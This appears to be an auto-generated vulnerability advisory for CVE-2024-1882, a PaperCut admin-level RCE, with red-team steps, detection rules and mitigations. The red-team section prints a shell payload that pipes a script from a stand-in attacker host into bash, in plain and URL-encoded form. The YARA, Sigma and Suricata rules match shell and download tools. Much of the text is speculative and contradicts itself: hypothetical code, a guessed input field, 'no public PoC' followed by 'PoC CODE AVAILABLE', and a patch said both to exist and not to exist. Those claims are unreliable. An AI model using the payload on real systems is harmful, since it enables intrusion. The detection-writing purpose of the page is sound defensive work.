CVE-2024-1882
Executive Summary
CVE-2024-1882 is a high-severity vulnerability affecting PaperCut NG and MF application servers. An authenticated admin user can craft a malicious payload that leads to remote code execution (RCE) on the server. The CVSS score of 7.2 reflects the high impact on confidentiality, integrity, and availability, though exploitation requires admin-level privileges. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not yet issued a patch. The EPSS score of 0.0% indicates low exploitation activity in the wild, but the risk remains significant for organizations using PaperCut in production.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Base Score: 7.2 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H) – requires admin authentication
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: High. Although admin privileges are required, a compromised admin account or insider threat can lead to full server compromise.
Deep Dive & Mechanics
The vulnerability resides in the PaperCut NG/MF application server’s handling of admin-level operations. An authenticated admin user can inject malicious code through a crafted payload, likely via a web interface or API endpoint that does not properly sanitize input. The payload is then executed by the server, leading to remote code execution.
Attack Flow:
- Attacker gains admin credentials (via phishing, credential stuffing, or insider access).
- Attacker logs into the PaperCut admin console.
- Attacker crafts a malicious payload (e.g., a script or command) and submits it through a vulnerable input field.
- The server processes the payload without proper validation, executing arbitrary code.
- Attacker achieves RCE, potentially installing backdoors, exfiltrating data, or disrupting services.
Root Cause: Improper input validation or deserialization of admin-supplied data, leading to code injection (CWE-94).
Vulnerable vs. Patched Code
Since no patch is available, a direct comparison is not possible. However, based on the vulnerability type, the following hypothetical code snippets illustrate the issue:
Vulnerable Code (Java example):
public void executeAdminCommand(String command) {
// No sanitization - directly executes user input
Runtime.getRuntime().exec(command);
}
Patched Code (Hypothetical):
public void executeAdminCommand(String command) {
// Whitelist allowed commands and sanitize input
if (!allowedCommands.contains(command)) {
throw new SecurityException("Command not allowed");
}
// Use a safe execution method
ProcessBuilder pb = new ProcessBuilder(command.split(" "));
pb.start();
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Admin credentials for PaperCut NG/MF.
- Network access to the PaperCut web interface (typically port 9191 or 9192).
Exploitation Steps:
- Log in to the PaperCut admin console.
- Identify a vulnerable input field (e.g., custom script execution, printer configuration, or user management).
- Inject a payload such as:
; /bin/bash -c 'curl http://attacker.com/shell.sh | bash' - Submit the payload and trigger execution.
- Verify RCE by checking for a reverse shell or command output.
Example Payload (URL-encoded):
%3B%20%2Fbin%2Fbash%20-c%20%27curl%20http%3A%2F%2Fattacker.com%2Fshell.sh%20%7C%20bash%27
Blue Team
Detection:
- Monitor admin console logs for unusual commands or payloads.
- Use WAF rules to block common injection patterns (e.g., semicolons, pipe characters).
- Implement strict input validation on all admin-facing endpoints.
Hunting:
- Search for processes spawned by the PaperCut service that are not typical (e.g.,
curl,wget,bash). - Review network connections from the PaperCut server to external IPs on non-standard ports.
Lab Setup:
- Deploy a vulnerable PaperCut instance (version prior to patch) in an isolated environment.
- Use a tool like Burp Suite to intercept and modify admin requests.
- Test payloads in a controlled manner to avoid production impact.
Indicators of Compromise (IOCs)
- Network:
- Outbound connections from PaperCut server to unknown IPs on ports 80, 443, or 4444.
- Unusual HTTP POST requests to
/adminor/apiendpoints containing shell commands.
- File System:
- Unexpected files in the PaperCut installation directory (e.g.,
/opt/papercut/server/). - New scripts or binaries in
/tmp/or/var/tmp/.
- Unexpected files in the PaperCut installation directory (e.g.,
- Process:
- Child processes of the PaperCut Java process running
bash,cmd.exe, orpowershell.
- Child processes of the PaperCut Java process running
- Logs:
- Admin audit logs showing execution of unknown commands or scripts.
Detection Engineering
YARA Rule
rule CVE_2024_1882_PaperCut_RCE {
meta:
description = "Detects malicious payloads targeting CVE-2024-1882 in PaperCut logs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-1882"
strings:
$cmd1 = "bash -c" ascii wide nocase
$cmd2 = "powershell" ascii wide nocase
$cmd3 = "curl" ascii wide nocase
$cmd4 = "wget" ascii wide nocase
$cmd5 = "exec" ascii wide nocase
condition:
any of ($cmd*) and filesize < 1MB
}
Sigma Rule
title: CVE-2024-1882 PaperCut Admin RCE Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2024-1882 via admin console logs
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: papercut
detection:
selection:
EventID: 1000 # Example PaperCut audit event ID
Message|contains:
- 'bash -c'
- 'powershell'
- 'curl'
- 'wget'
- 'exec'
condition: selection
falsepositives:
- Legitimate admin scripts (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1882 PaperCut Admin RCE Payload"; flow:to_server,established; content:"POST"; http_method; content:"/admin"; http_uri; content:"bash -c"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict admin access to PaperCut to trusted IPs only (e.g., via firewall or VPN).
- Enable multi-factor authentication (MFA) for all admin accounts.
- Monitor admin activity logs for suspicious commands.
Long-Term Fix:
- Apply vendor patch once released.
- Implement input validation and output encoding on all admin-facing endpoints.
- Conduct a security audit of the PaperCut configuration.
Workarounds:
- Disable any custom scripting features in PaperCut if not required.
- Use a Web Application Firewall (WAF) to block common injection patterns.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.